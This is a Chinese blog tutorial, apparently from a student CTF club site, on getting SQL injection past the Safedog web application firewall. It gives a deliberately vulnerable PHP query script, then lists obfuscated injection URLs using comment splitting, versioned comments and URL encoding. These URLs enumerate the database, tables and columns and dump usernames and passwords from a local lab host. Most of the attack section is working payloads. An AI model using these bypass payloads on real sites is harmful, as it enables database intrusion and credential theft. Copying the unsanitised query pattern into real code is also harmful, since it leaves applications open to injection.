大事记时间轴~
  • 社团XSS平台
  • 全国青少年信息技术社团联盟
  • 全国中学生CTF论坛
  • 全国中学生CTF平台

  • 点击这里~阿里云服务器优惠购买!!

    社团群号:456866055
    站长QQ:1135891330

    (原创)安全狗SQL注入绕过思路[sql注入waf绕过][sql注入bypass]


    2017/09/03_Bypass_safedog_Sql注入

    prat 1

    本文大致内容

    + 思路以及想法

    - 四重注释绕过safedog

    + 实战绕过

    - 绕过and 1=1

    - 绕过union+select

    - 爆表

    - 爆字段

    - 读内容

    prat 2

    测试代码


    <?php
    $link = mysqli_connect('localhost','root','root','security');
    $sql = "select * from users where id=".$_GET['id'];
    $result = mysqli_query($link,$sql);
    if($rows = mysqli_fetch_array($result)){
    echo $rows['id'];
    echo '<br>';
    echo $rows['username'];
    echo '<br>';
    echo $rows['password'];
    echo '<br>';
    }
    mysqli_close($link);
    ?>



     

    prat 3

    绕过 and 1=1


    Url:url:http://192.168.1.107/sql.php?id=1 and 1=1


    图片1.png 

    发现惨遭拦截,首先让我们来看一下他拦截什么,不拦截什么。


    and         不拦截
    and 1        拦截
    and 1 =    拦截
    and 1 = 1     拦截


    由此可见,只要and后面出现数字或者成立一个等式那么他就拦截,那我们用/**/注释来绕过一下看看

    /**/aNd/**//**/'a'/**/ = /**/'a'/**/


    注释包含把1=1替换成‘a= a’就得到了url:

    http://192.168.1.107/sql.php?id=1/**/aNd/**//**/'a'/**/=/**/'b'/**/


     

    图片2.png 

    返回不正常(等式不等)并且发现狗就不拦截了,可见注释方法还是如此任性

     

    Order by

     图片11.png

    我发现我装的狗是不会拦截order by的,所以也就没绕,有需求在说。

     

    字段为3,接下来爆库,当前用户。

     

    绕过union+select


    url:http://192.168.1.107/sql.php?id=1 UNION SELECT 1,2,3


     图片3.png

    同样,先看一下他拦截什么。


    union 不拦截
    select 不拦截
    union select 拦截



    很明显,我们只需要在union与select之间处理一下就可以了。

    首先使用/!50000/注释包含/!/然后使用/**/与/–*/打乱一下结构,在稍微进行一下编码处理就可以了


    url:http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,2,3)/*--*/*/-- -


    图片4.png 

    可以发现,已经正常显示数字,并且狗没有拦截。 什么?你说没看懂?那么看下图

    图片5.png 

    拆分一下就发现其实很好理解,使用()select的内容包起来。

     

    爆库

     


    http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user(),database())/*--*/*/-- -


     

    图片6.png 

    发现又特么拦截了,很明显,他会拦截一些常用系统函数(还有许多就不列出来了,列出常用的)


    1. version()——MySQL 版本
    2. user()——数据库用户名
    3. database()——数据库名
    4. @@datadir——数据库路径
    5. @@version_compile_os——操作系统版本


    既然已经知道了拦截什么,那么绕他还难么,掏出/**/注释大法。

    user(),database()之间处理以下。

    那么就成为了


    user/**/(/**/)
    database/**/(/**/)



    完整url:


    http://192.168.1.107/sql.php?id=-1/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user/**/(/**/),database/**/(/**/))/*--*/*/--

    -


     

    图片7.png 

    正常爆出数据库跟当前用户

     

    爆表

     

    发现我本身的狗可能有点问题,他不拦截from,于是也没有绕,还是那句话,需要啥,绕啥。


    url:http://192.168.1.107/sql.php?id=-1
    /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,table_name)),user/**/(/**/)
    from information_schema.tables where table_schema='security')/*--*/*/ limit 0,1-- -



    图片8.png 

    得到Table

    emails

    referers

    uagents

    Users

    爆字段

     


    url:http://192.168.1.107/sql.php?id=-1
    /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,column_name)),user/**/(/**/)
    from information_schema.columns where table_name='users')/*--*/*/ limit 0,1-- -



    图片9.png 

    得到column

    id

    username

    Password

     

    读内容

     


    url:http://192.168.1.107/sql.php?id=-1
    /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,username,password)),user/**/(/**/)
    from users)/*--*/*/ limit 0,1-- -
     



    图片10.png 

     

    Dump


    Dumb#Dumb


    相关推荐

    点击这里~阿里云服务器优惠购买!!

    社团群号:456866055
    站长QQ:1135891330

    发表评论

    路人甲
    看不清楚?点图切换

    网友评论(0)